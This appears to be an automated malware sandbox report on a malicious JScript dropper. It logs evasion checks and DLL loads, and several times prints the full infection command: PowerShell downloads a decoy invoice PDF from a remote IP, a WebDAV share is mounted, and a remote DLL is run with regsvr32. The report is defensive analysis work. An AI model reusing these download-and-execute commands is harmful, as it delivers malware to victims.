Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\8732.js.csv");ITextStream.WriteLine(" entry:7411 f:ygtuj");ITextStream.WriteLine(" exec:2 f:ygtuj");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4361			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5441			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452	Thread sleep count: 4361 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 3452	Thread sleep count: 5441 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6628	Thread sleep time: -11990383647911201s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4424	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 1476	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 7284	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: wscript.exe, 00000000.00000002.2047308395.000002769266A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\7
Source: net.exe, 00000007.00000002.2129851934.00000166ACEF8000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`"
Source: net.exe, 00000007.00000003.2116540811.00000166ACF5E000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3323712599.00000215CC658000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3322460233.00000215C702B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000003.2116540811.00000166ACF5E000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW(

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\1782171559346.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

